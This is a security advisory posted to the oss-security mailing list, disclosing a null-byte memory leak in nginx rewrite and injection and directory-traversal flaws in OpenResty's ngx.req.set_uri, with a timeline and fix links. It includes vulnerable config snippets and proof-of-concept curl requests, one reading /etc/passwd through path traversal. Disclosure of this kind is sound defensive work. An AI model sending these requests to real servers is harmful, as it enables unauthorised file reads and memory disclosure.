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Date: Wed, 18 Mar 2020 17:43:58 +0300
From: Vladimir Dubrovin <vlad@...urityvulns.ru>
To: oss-security@...ts.openwall.com
Subject: Re: Insecure implementation of OpenResty
ngx.req.set_uri + memory content leak in nginx.
I've updated advisory at
https://hackerone.com/reports/513236
to reflect the fact some nginx configurations without openresty may be
vulnerable to directory traversal, as demonstrated with configuration
example (but mistakenely attributed to openresty).
18.03.2020 16:10, Vladimir Dubrovin пишет:
> OpenResty is LUA engine for nginx reverse proxy.
>
> Affected versions: tested on nginx-1.17.5 and openresty-1.15.8.2 on
> ubuntu 18.04
>
> Two independent problems were identified in OpenResty and nginx,
> potentially leading to different security vulnerabilities: Header
> injection/CRLF injection, directory traversal/local file read,
> restrictions bypass, memory content disclosure in some nginx + openresty
> configurations:
>
> 1. There is a bug in nginx "rewrite" implementation. It can disclose the
> fragment of the process memory with 301/302 HTTP reply if rewrite string
> contains ASCII 0 character. Within nginx itself rewrite string is a
> static configuration option, and is not supposed to be manipulated
> externally.
>
> 2. OpenResty implements ngx.req.set_uri() via raw rewrite in nginx
> without any additional filtering or normalization. If used with
> untrusted input it can lead to CRLF/header injection, directory
> traversal/local file read, restrictions bypass. Due to (1) it can also
> lead to memory content disclosure.
>
>
> Fix:
> ==============
>
> As of now, there is no fix for ngx.req.set_uri(), this function must be considered as potentially unsafe.
>
> Recommendations:
> ==============
>
> Avoid usage of ngx.req.set_uri() with untrusted input or implement strict input filtering.
>
>
> Timeline:
>
> ==============
>
> 21.03.2019 - Memory content leak reported to Mail.Ru team via H1 by @maxarr in https://hackerone.com/reports/513236
> 22.03.2019 - Memory content leak is mitigated on Mail.Ru side
> 05.11.2019 - Problem additionally researched by Denis 'KPEBETKA' Denisov and Nikolay Ermishkin of Mail.Ru Security Team, root cause tracked to nginx+openresty.
> 07.11.2019 - Reported to nginx team
> 08.11.2019 - Acknowledged by nginx team
> 13.12.2019 - nginx team reported back the issue is not tracked as a security bug in nginx, secure rewrite will not be provided by nginx API
> 16.12.2019 - memory leak bug fixed in nginx master branch
> https://hg.nginx.org/nginx/rev/02a539522be4
> https://github.com/nginx/nginx/commit/a5895eb502747f396d3901a948834cd87d5fb0c3#diff-75916b11f3e6d45e713a6aa9c97cf315
> 17.12.2019 - reported to OpenResty team
> 17.12.2019 - acknowledged by OpenResty team
> 18.03.2020 - disclosed
>
>
> Details:
>
> ==============
>
> This configuration demonstrates memory content leak in nginx:
>
> Vulnerable config (^@ is a null byte)
>
> location ~ /memleak {
> rewrite ^.*$ "^@...fasdfasdfasdfasdfasdfasdfasdfasdfasdfasdasdf";
> }
>
> location / {
> root html;
> index index.html index.htm;
> }
>
> curl localhost:8337/memleak -vv
> ...
> Location: http://localhost:8337/WjWj
> ...
>
> WjWj – is a random peace of memory, usual includes parts of other requests
>
> vulnerable code:
>
> https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L77
>
> last = ngx_http_map_uri_to_path(r, &path, &root, 0);
>
> Doesn't handle location with null byte properly
>
> https://github.com/nginx/nginx/blob/5a2ce3f4ee55eb8903aa9481deaaf402d5a2e805/src/http/ngx_http_core_module.c#L1846
>
> last = ngx_cpystrn(last, r->uri.data + alias, r->uri.len - alias + 1);
>
> Writes only null byte to last, not the whole r->uri.data
>
> https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L161
>
> if (!clcf->alias && clcf->root_lengths == NULL && r->args.len == 0) {
>
> It's important to get into this conditional branch to get memory leak
>
> https://github.com/nginx/nginx/blob/4bf4650f2f10f7bbacfe7a33da744f18951d416d/src/http/modules/ngx_http_static_module.c#L188
>
> r->headers_out.location->value.len = len;
>
> location length more than was really written, location ends with random
> piece of memory (usually includes part of other HTTP requests).
>
> Example of configuration vulnerable to memory leak with
> https://github.com/openresty/lua-nginx-module:
>
> location ~ /memleak {
> rewrite_by_lua_block {
> ngx.req.read_body();
> local args, err = ngx.req.get_post_args();
> ngx.req.set_uri( args["url"], true );
> }
> }
>
> location / {
> root html;
> index index.html index.htm;
> }
>
> curl localhost:8337 -d "url=%00asdfasdfasdfasdfasdfasdfasdfasdf" -vv
> ...
> Location: http://localhost:8337/WjWj
> ...
>
> Example of configuration vulnerable to directory traversal with
> https://github.com/openresty/lua-nginx-module
>
> location ~ /rewrite {
> rewrite ^.*$ $arg_x;
> }
>
> location / {
> root html;
> index index.html index.htm;
> }
>
> curl localhost:8337/rewrite?x=/../../../../../../../etc/passwd
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> ...
>
>
> -- Vladimir Dubrovin
>
>
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